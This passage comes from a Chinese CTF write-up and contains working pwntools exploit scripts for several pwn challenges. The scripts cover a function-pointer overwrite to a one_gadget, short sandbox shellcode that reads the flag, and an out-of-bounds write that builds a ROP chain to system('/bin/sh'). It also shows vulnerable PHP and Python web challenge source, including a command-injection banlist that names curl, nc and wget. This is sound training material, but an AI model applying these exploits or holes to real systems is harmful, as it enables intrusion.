<span class="string">b&quot;a&quot;</span> * <span class="number">0x8</span> + <span class="string">b&quot;\x08\x15&quot;</span></span><br><span class="line">p.sendafter(<span class="string">b&quot;say?&quot;</span>, payload)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&quot;[Y/N]\n&quot;</span>, <span class="string">b&quot;N&quot;</span>)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&quot;\xef\xbc\x9a&quot;</span>, <span class="string">b&quot;999 999&quot;</span>)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&quot; key\n&quot;</span>, <span class="built_in">str</span>(<span class="number">0x6B8B4567</span>).encode())</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&quot;in!\n&quot;</span>, <span class="string">b&quot;/proc/self/maps&quot;</span>)</span><br><span class="line">p.recvlines(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">text_base = <span class="built_in">int</span>(p.recvuntil(<span class="string">b&quot;-&quot;</span>, drop=<span class="literal">True</span>), <span class="number">16</span>)</span><br><span class="line">p.recvlines(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">libc_base = <span class="built_in">int</span>(p.recvuntil(<span class="string">b&quot;-&quot;</span>, drop=<span class="literal">True</span>), <span class="number">16</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">b&quot;[vdso]\n&quot;</span>)</span><br><span class="line"></span><br><span class="line">stack_addr = <span class="built_in">int</span>(p.recvuntil(<span class="string">b&quot;-&quot;</span>, drop=<span class="literal">True</span>), <span class="number">16</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&quot;\xef\xbc\x9a&quot;</span>, <span class="string">b&quot;0 0&quot;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&quot;\xef\xbc\x9a&quot;</span>, <span class="string">b&quot;1 1&quot;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&quot;\xef\xbc\x9a&quot;</span>, <span class="string">b&quot;2 2&quot;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&quot;\xef\xbc\x9a&quot;</span>, <span class="string">b&quot;3 3&quot;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&quot;\xef\xbc\x9a&quot;</span>, <span class="string">b&quot;4 4&quot;</span>)</span><br><span class="line"></span><br><span class="line">one = [<span class="number">0x4F29E</span>, <span class="number">0x4F2A5</span>, <span class="number">0x4F302</span>, <span class="number">0x10A2FC</span>]</span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&quot;a&quot;</span> * <span class="number">0x8</span> + p64(one[<span class="number">3</span>] + libc_base) + p64(<span class="number">0</span>) * <span class="number">4</span></span><br><span class="line">p.sendafter(<span class="string">b&quot;say?&quot;</span>, payload)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&quot;[Y/N]\n&quot;</span>, <span class="string">b&quot;N&quot;</span>)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&quot;\xef\xbc\x9a&quot;</span>, <span class="string">b&quot;512 256&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">find / -user root -perm -4000-print2&gt;/dev/null</span></span><br><span class="line"><span class="string">0x4f29e execve(&quot;/bin/sh&quot;, rsp+0x40, environ)</span></span><br><span class="line"><span class="string">constraints:</span></span><br><span class="line"><span class="string">  address rsp+0x50 is writable</span></span><br><span class="line"><span class="string">  rsp &amp; 0xf == 0</span></span><br><span class="line"><span class="string">  rcx == NULL || &#123;rcx, &quot;-c&quot;, r12, NULL&#125; is a valid argv</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0x4f2a5 execve(&quot;/bin/sh&quot;, rsp+0x40, environ)</span></span><br><span class="line"><span class="string">constraints:</span></span><br><span class="line"><span class="string">  address rsp+0x50 is writable</span></span><br><span class="line"><span class="string">  rsp &amp; 0xf == 0</span></span><br><span class="line"><span class="string">  rcx == NULL || &#123;rcx, rax, r12, NULL&#125; is a valid argv</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0x4f302 execve(&quot;/bin/sh&quot;, rsp+0x40, environ)</span></span><br><span class="line"><span class="string">constraints:</span></span><br><span class="line"><span class="string">  [rsp+0x40] == NULL || &#123;[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...&#125; is a valid argv</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0x10a2fc execve(&quot;/bin/sh&quot;, rsp+0x70, environ)</span></span><br><span class="line"><span class="string">constraints:</span></span><br><span class="line"><span class="string">  [rsp+0x70] == NULL || &#123;[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...&#125; is a valid argv</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>下五子棋，只要自己有五个能连成一块的就可以拿到一次输入机会（对方怎么样不管），输入可以覆写栈上的一个用于处理错误输入的函数指针。程序还有一个admin函数提供限制文件名的读文件（flag的g被过滤了）然后返回main。partial overwrite爆破该指针指向admin函数之后读取&#x2F;proc&#x2F;self&#x2F;maps，直接拿到libc地址，之后覆写函数指针为one gadget,正好有一个可以构造满足条件。拿到shell后只能用pwn2来读flag,输入指令.&#x2F;pwn2 -c aaa .&#x2F;flag之后cat .&#x2F;aaa拿到flag</p><h3 id="ezcode"><a href="#ezcode" class="headerlink" title="ezcode"></a>ezcode</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment"># from LibcSearcher import *</span></span><br><span class="line"><span class="keyword">from</span> pwnlib.adb <span class="keyword">import</span> shell</span><br><span class="line"><span class="keyword">from</span> pwnlib.dynelf <span class="keyword">import</span> ctypes</span><br><span class="line"><span class="keyword">from</span> pwnlib.fmtstr <span class="keyword">import</span> make_atoms_simple</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(arch=<span class="string">&quot;amd64&quot;</span>, os=<span class="string">&quot;linux&quot;</span>, log_level=<span class="string">&quot;debug&quot;</span>)</span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;split&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line">binary_path = <span class="string">&quot;./bin/ezcode&quot;</span></span><br><span class="line">libc_path = <span class="string">&quot;/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so&quot;</span></span><br><span class="line"></span><br><span class="line">elf = ELF(binary_path)</span><br><span class="line"></span><br><span class="line">libc = ELF(libc_path)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">local = <span class="number">1</span></span><br><span class="line"></span><br><span class="line">ip, port = <span class="string">&quot;61.147.171.105&quot;</span>, <span class="number">29144</span></span><br><span class="line"><span class="comment"># ip, port = &quot;chall.pwnable.tw&quot;, 1</span></span><br><span class="line"><span class="keyword">if</span> local == <span class="number">0</span>:</span><br><span class="line">    p = process(binary_path)</span><br><span class="line">    dbg = <span class="keyword">lambda</span> p: gdb.attach(p)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = remote(<span class="string">&quot;pwn-36f53f067e.challenge.xctf.org.cn&quot;</span>, <span class="number">9999</span>, ssl=<span class="literal">True</span>)</span><br><span class="line">    dbg = <span class="keyword">lambda</span> _: <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ls = <span class="keyword">lambda</span> addr: log.success(<span class="built_in">hex</span>(addr))</span><br><span class="line">recv = <span class="keyword">lambda</span> char: u64(p.recvuntil(char, drop=<span class="literal">True</span>).ljust(<span class="number">8</span>, <span class="string">b&quot;\0&quot;</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># =================start=================#</span></span><br><span class="line">shellcode = <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">mov rsp, 0x9998200;</span></span><br><span class="line"><span class="string">mov rax, 2;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">mov rcx, 0x67616c662f2e;</span></span><br><span class="line"><span class="string">push rcx;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">mov rdi, rsp;</span></span><br><span class="line"><span class="string">xor rsi, rsi;</span></span><br><span class="line"><span class="string">syscall;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">mov rsi, rax;</span></span><br><span class="line"><span class="string">xor rdi, rdi;</span></span><br><span class="line"><span class="string">inc rdi;</span></span><br><span class="line"><span class="string">push 0;</span></span><br><span class="line"><span class="string">mov rdx, rsp;</span></span><br><span class="line"><span class="string">mov r10, 0x100;</span></span><br><span class="line"><span class="string">mov rax, 40;</span></span><br><span class="line"><span class="string">syscall;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">00000000: 4c87 ff66 ba07 0066 b80a 000f 0599 31c0  L..f...f......1.</span></span><br><span class="line"><span class="string">00000010: 87ce 31ff 0f05                           ..1...</span></span><br><span class="line"><span class="string">4c87ff66ba070066b80a000f059931c087ce31ff0f05</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">xchg rdi, r15;</span></span><br><span class="line"><span class="string">mov dx, 0x7;</span></span><br><span class="line"><span class="string">mov ax, 10;</span></span><br><span class="line"><span class="string">syscall;</span></span><br><span class="line"><span class="string">cdq;</span></span><br><span class="line"><span class="string">xor eax, eax;</span></span><br><span class="line"><span class="string">xchg esi, ecx;</span></span><br><span class="line"><span class="string">xor edi, edi;</span></span><br><span class="line"><span class="string">syscall;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">dbg(p)</span><br><span class="line">payload = <span class="string">b&quot;&quot;&quot;&#123;&quot;shellcode&quot;:&quot;4c87ff66ba070066b80a000f059931c087ce31ff0f05&quot;&#125;&quot;&quot;&quot;</span></span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line">sleep(<span class="number">2</span>)</span><br><span class="line">p.send(<span class="string">b&quot;\x00&quot;</span> * <span class="number">9</span> + asm(shellcode))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>沙箱shellcode题，沙箱只限制了execve&#x2F;execveat。用json格式输入机器码转化为十六进制的字符串，限制该字符串长度小于44,即原机器码长度小于22.由于在copy之后把机器码地址的写权限关掉了，我们首先需要增加机器码地址的写权限，然后用read再往里边写机器码。用xchg,xor，和cdq可以以非常短的方式构造满足的shellcode, 可以往机器码地址附近输入很长的内容，之后就输入padding+open+sendfile拿到flag.</p><h3 id="guestbook"><a href="#guestbook" class="headerlink" title="guestbook"></a>guestbook</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwnlib.dynelf <span class="keyword">import</span> ctypes</span><br><span class="line"><span class="keyword">from</span> pwnlib.fmtstr <span class="keyword">import</span> make_atoms_simple</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(arch=<span class="string">&quot;amd64&quot;</span>, os=<span class="string">&quot;linux&quot;</span>, log_level=<span class="string">&quot;debug&quot;</span>)</span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;split&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line">binary_path = <span class="string">&quot;./guestbook/pwn&quot;</span></span><br><span class="line">libc_path = <span class="string">&quot;./guestbook/libc.so.6&quot;</span></span><br><span class="line"></span><br><span class="line">rop = ROP(binary_path)</span><br><span class="line">elf = ELF(binary_path)</span><br><span class="line"></span><br><span class="line">libc = ELF(libc_path)</span><br><span class="line">libc_dll = cdll.LoadLibrary(libc_path)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">local = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> local == <span class="number">0</span>:</span><br><span class="line">    p = process(binary_path)</span><br><span class="line">    dbg = <span class="keyword">lambda</span> p: gdb.attach(p)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = remote(<span class="string">&quot;pwn-2e5d3b8445.challenge.xctf.org.cn&quot;</span>, <span class="number">9999</span>, ssl=<span class="literal">True</span>)</span><br><span class="line">    dbg = <span class="keyword">lambda</span> _: <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ls = <span class="keyword">lambda</span> addr: log.success(<span class="built_in">hex</span>(addr))</span><br><span class="line">recv = <span class="keyword">lambda</span> char: u64(p.recvuntil(char, drop=<span class="literal">True</span>).ljust(<span class="number">8</span>, <span class="string">b&quot;\0&quot;</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># __libc_start_main</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># =================start=================#</span></span><br><span class="line"><span class="comment"># &gt; 0x500</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">idx, size</span>):</span><br><span class="line">    p.sendlineafter(<span class="string">b&quot;&gt;&quot;</span>, <span class="string">b&quot;1&quot;</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">b&quot;index\n&quot;</span>, <span class="built_in">str</span>(idx).encode())</span><br><span class="line">    p.sendlineafter(<span class="string">b&quot;size\n&quot;</span>, <span class="built_in">str</span>(size).encode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">idx, content</span>):</span><br><span class="line">    p.sendlineafter(<span class="string">b&quot;&gt;&quot;</span>, <span class="string">b&quot;2&quot;</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">b&quot;index\n&quot;</span>, <span class="built_in">str</span>(idx).encode())</span><br><span class="line">    p.sendafter(<span class="string">b&quot;content\n&quot;</span>, content)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">idx</span>):</span><br><span class="line">    p.sendlineafter(<span class="string">b&quot;&gt;&quot;</span>, <span class="string">b&quot;3&quot;</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">b&quot;index\n&quot;</span>, <span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">idx</span>):</span><br><span class="line">    p.sendlineafter(<span class="string">b&quot;&gt;&quot;</span>, <span class="string">b&quot;4&quot;</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">b&quot;index\n&quot;</span>, <span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">add(<span class="number">0</span>, <span class="number">0x500</span>)</span><br><span class="line">add(<span class="number">9</span>, <span class="number">0x500</span>)</span><br><span class="line">add(<span class="number">10</span>, <span class="number">0x500</span>)</span><br><span class="line">add(<span class="number">12</span>, <span class="number">0x500</span>)</span><br><span class="line">add(<span class="number">14</span>, <span class="number">0x500</span>)</span><br><span class="line">edit(-<span class="number">4</span>, <span class="string">b&quot;aaaabbb|&quot;</span>)</span><br><span class="line">show(-<span class="number">4</span>)</span><br><span class="line">p.recvuntil(<span class="string">b&quot;|&quot;</span>)</span><br><span class="line"></span><br><span class="line">libc_base = recv(<span class="string">b&quot;\n&quot;</span>) - <span class="number">0x21B723</span></span><br><span class="line">environ = libc_base + libc.sym.environ</span><br><span class="line">sys = libc.sym.system + libc_base</span><br><span class="line">binsh = libc_base + libc.search(<span class="string">b&quot;/bin/sh&quot;</span>).__next__()</span><br><span class="line">pop_rdi = <span class="number">0x000000000002A3E5</span> + libc_base</span><br><span class="line">ret = <span class="number">0x00000000000F410B</span> + libc_base</span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">0x000000000002a3e5: pop rdi; ret;</span></span><br><span class="line"><span class="string">0x00000000000f410b: ret;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">show(-<span class="number">11</span>)</span><br><span class="line"></span><br><span class="line">bss_base = recv(<span class="string">b&quot;\n&quot;</span>) - <span class="number">0x8</span></span><br><span class="line"></span><br><span class="line">edit(-<span class="number">11</span>, p64(bss_base))</span><br><span class="line">edit(-<span class="number">11</span>, p64(environ))</span><br><span class="line">show(-<span class="number">12</span>)</span><br><span class="line"></span><br><span class="line">stack_addr = recv(<span class="string">b&quot;\n&quot;</span>)</span><br><span class="line">ret_addr = stack_addr - <span class="number">0x140</span></span><br><span class="line"></span><br><span class="line">edit(-<span class="number">11</span>, p64(ret_addr))</span><br><span class="line"><span class="comment"># dbg(p)</span></span><br><span class="line">edit(-<span class="number">12</span>, p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ls(stack_addr)</span><br><span class="line">ls(libc_base)</span><br><span class="line">ls(bss_base)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>高版本堆，但和堆一点关系都没有。heapsize与heaparray挨着，没有限制越界读写，直接改stderr然后读泄漏libc基地址。bss上有一个指向自己的指针，任意读可得bss基地址，任意写该指针为bss段上某个地址，利用这条链可以完成任意读写。任意读environ得栈地址计算得返回地址，然后往返回地址写ROP链，最后成功getshell</p><h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><h3 id="capoo"><a href="#capoo" class="headerlink" title="capoo"></a>capoo</h3><p><img src="/community/upload/image-20241019165004-llcbd24.png" alt="image"></p><p>抓包，发现capoo参数可以路径穿越，读取showpic.php：</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CapooObj</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">  <span class="variable">$action</span> = <span class="variable language_">$this</span>-&gt;action;</span><br><span class="line">  <span class="variable">$action</span> = <span class="title function_ invoke__">str_replace</span>(<span class="string">&quot;\&quot;&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="variable">$action</span>);</span><br><span class="line">  <span class="variable">$action</span> = <span class="title function_ invoke__">str_replace</span>(<span class="string">&quot;\&#x27;&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="variable">$action</span>);</span><br><span class="line">  <span class="variable">$banlist</span> = <span class="string">&quot;/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\|\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\&#123;|\&#125;|\*|\?|\[|\]|\@|\\|\=|\&lt;)/i&quot;</span>;</span><br><span class="line">  <span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="variable">$banlist</span>, <span class="variable">$action</span>))&#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;Not Allowed!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">        <span class="title function_ invoke__">system</span>(<span class="variable">$this</span>-&gt;action);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Content-type:text/html;charset=utf-8&quot;</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_SERVER</span>[<span class="string">&#x27;REQUEST_METHOD&#x27;</span>] === <span class="string">&#x27;POST&#x27;</span> &amp;&amp; <span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;capoo&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$file</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;capoo&#x27;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">file_exists</span>(<span class="variable">$file</span>)) &#123;</span><br><span class="line">        <span class="variable">$data</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$file</span>);</span><br><span class="line">        <span class="variable">$base64</span> = <span class="title function_ invoke__">base64_encode</span>(<span class="variable">$data</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="title function_ invoke__">substr</span>(<span class="variable">$file</span>, <span class="number">0</span>, <span class="title function_ invoke__">strlen</span>(<span class="string">&quot;http://&quot;</span>)) === <span class="string">&quot;http://&quot;</span>) &#123;</span><br><span class="line">        <span class="variable">$data</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;capoo&#x27;</span>] . <span class="string">&quot;/capoo.gif&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$data</span>, <span class="string">&quot;PILER&quot;</span>) !== <span class="literal">false</span>) &#123;</span><br><span class="line">          <span class="keyword">die</span>(<span class="string">&quot;Capoo piler not allowed!&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="title function_ invoke__">file_put_contents</span>(<span class="string">&quot;capoo_img/capoo.gif&quot;</span>, <span class="variable">$data</span>);</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;Download Capoo OK&quot;</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&#x27;Capoo does not exist.&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;No capoo provided.&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">  &lt;head&gt;</span><br><span class="line">    &lt;title&gt;Display Capoo&lt;/title&gt;</span><br><span class="line">  &lt;/head&gt;</span><br><span class="line">  &lt;body&gt;</span><br><span class="line">    &lt;img style=<span class="string">&#x27;display:block; width:100px;height:100px;&#x27;</span> id=<span class="string">&#x27;base64image&#x27;</span></span><br><span class="line">       src=<span class="string">&#x27;data:image/gif;base64, &lt;?php echo $base64;?&gt;&#x27;</span> /&gt;</span><br><span class="line">  &lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>发现其实是任意文件读取</p><p>下一步应该是打phar反序列化，结果发现start.sh没删。。。</p><p><img src="/community/upload/image-20241019165233-5hhjiky.png" alt="image"></p><p>直接读flag就行了</p><p><img src="/community/upload/image-20241019165258-76qkx0c.png" alt="image"></p><h3 id="ez-picker"><a href="#ez-picker" class="headerlink" title="ez_picker"></a>ez_picker</h3><p>给源码了：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> sanic <span class="keyword">import</span> Sanic</span><br><span class="line"><span class="keyword">from</span> sanic.response <span class="keyword">import</span> json,file <span class="keyword">as</span> file_,text,redirect</span><br><span class="line"><span class="keyword">from</span> sanic_cors <span class="keyword">import</span> CORS</span><br><span class="line"><span class="keyword">from</span> key <span class="keyword">import</span> secret_key</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> pickle</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> jwt</span><br><span class="line"><span class="keyword">import</span> io</span><br><span class="line"><span class="keyword">import</span> builtins</span><br><span class="line">app = Sanic(<span class="string">&quot;App&quot;</span>)</span><br><span class="line">pickle_file = <span class="string">&quot;data.pkl&quot;</span></span><br><span class="line">my_object = &#123;&#125;</span><br><span class="line">users = []</span><br><span class="line"></span><br><span class="line">safe_modules = &#123;</span><br><span class="line">    <span class="string">&#x27;math&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;datetime&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;json&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;collections&#x27;</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">safe_names = &#123;</span><br><span class="line">    <span class="string">&#x27;sqrt&#x27;</span>, <span class="string">&#x27;pow&#x27;</span>, <span class="string">&#x27;sin&#x27;</span>, <span class="string">&#x27;cos&#x27;</span>, <span class="string">&#x27;tan&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;date&#x27;</span>, <span class="string">&#x27;datetime&#x27;</span>, <span class="string">&#x27;timedelta&#x27;</span>, <span class="string">&#x27;timezone&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;loads&#x27;</span>, <span class="string">&#x27;dumps&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;namedtuple&#x27;</span>, <span class="string">&#x27;deque&#x27;</span>, <span class="string">&#x27;Counter&#x27;</span>, <span class="string">&#x27;defaultdict&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">RestrictedUnpickler</span>(pickle.Unpickler):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">find_class</span>(<span class="params">self, module, name</span>):</span><br><span class="line">        <span class="keyword">if</span> module <span class="keyword">in</span> safe_modules <span class="keyword">and</span> name <span class="keyword">in</span> safe_names:</span><br><span class="line">            <span class="keyword">return</span> <span class="built_in">getattr</span>(builtins, name)</span><br><span class="line">        <span class="keyword">raise</span> pickle.UnpicklingError(<span class="string">&quot;global &#x27;%s.%s&#x27; is forbidden&quot;</span> %(module, name))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">restricted_loads</span>(<span class="params">s</span>):</span><br><span class="line">    <span class="keyword">return</span> RestrictedUnpickler(io.BytesIO(s)).load()</span><br><span class="line"></span><br><span class="line">CORS(app, supports_credentials=<span class="literal">True</span>, origins=[<span class="string">&quot;http://localhost:8000&quot;</span>, <span class="string">&quot;http://127.0.0.1:8000&quot;</span>])</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">User</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self,username,password</span>):</span><br><span class="line">        <span class="variable language_">self</span>.username=username</span><br><span class="line">        <span class="variable language_">self</span>.password=password</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">merge</span>(<span class="params">src, dst</span>):</span><br><span class="line">    <span class="keyword">for</span> k, v <span class="keyword">in</span> src.items():</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">hasattr</span>(dst, <span class="string">&#x27;__getitem__&#x27;</span>):</span><br><span class="line">            <span class="keyword">if</span> dst.get(k) <span class="keyword">and</span> <span class="built_in">type</span>(v) == <span class="built_in">dict</span>:</span><br><span class="line">                merge(v, dst.get(k))</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                dst[k] = v</span><br><span class="line">        <span class="keyword">elif</span> <span class="built_in">hasattr</span>(dst, k) <span class="keyword">and</span> <span class="built_in">type</span>(v) == <span class="built_in">dict</span>:</span><br><span class="line">            merge(v, <span class="built_in">getattr</span>(dst, k))</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">setattr</span>(dst, k, v)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">token_required</span>(<span class="params">func</span>):</span><br><span class="line">    <span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">wrapper</span>(<span class="params">request, *args, **kwargs</span>):</span><br><span class="line">        token = request.cookies.get(<span class="string">&quot;token&quot;</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> token:</span><br><span class="line">            <span class="keyword">return</span> redirect(<span class="string">&#x27;/login&#x27;</span>)</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            result=jwt.decode(token, <span class="built_in">str</span>(secret_key), algorithms=[<span class="string">&#x27;HS256&#x27;</span>], options=&#123;<span class="string">&quot;verify_signature&quot;</span>: <span class="literal">True</span>&#125;)</span><br><span class="line">        <span class="keyword">except</span> jwt.ExpiredSignatureError:</span><br><span class="line">            <span class="keyword">return</span> json(&#123;<span class="string">&quot;status&quot;</span>: <span class="string">&quot;fail&quot;</span>, <span class="string">&quot;message&quot;</span>: <span class="string">&quot;Token expired&quot;</span>&#125;, status=<span class="number">401</span>)</span><br><span class="line">        <span class="keyword">except</span> jwt.InvalidTokenError:</span><br><span class="line">            <span class="keyword">return</span> json(&#123;<span class="string">&quot;status&quot;</span>: <span class="string">&quot;fail&quot;</span>, <span class="string">&quot;message&quot;</span>: <span class="string">&quot;Invalid token&quot;</span>&#125;, status=<span class="number">401</span>)</span><br><span class="line">        <span class="built_in">print</span>(result)</span><br><span class="line">        <span class="keyword">if</span> result[<span class="string">&quot;role&quot;</span>]!=<span class="string">&quot;admin&quot;</span>:</span><br><span class="line">            <span class="keyword">return</span> json(&#123;<span class="string">&quot;status&quot;</span>: <span class="string">&quot;fail&quot;</span>, <span class="string">&quot;message&quot;</span>: <span class="string">&quot;Permission Denied&quot;</span>&#125;, status=<span class="number">401</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">await</span> func(request, *args, 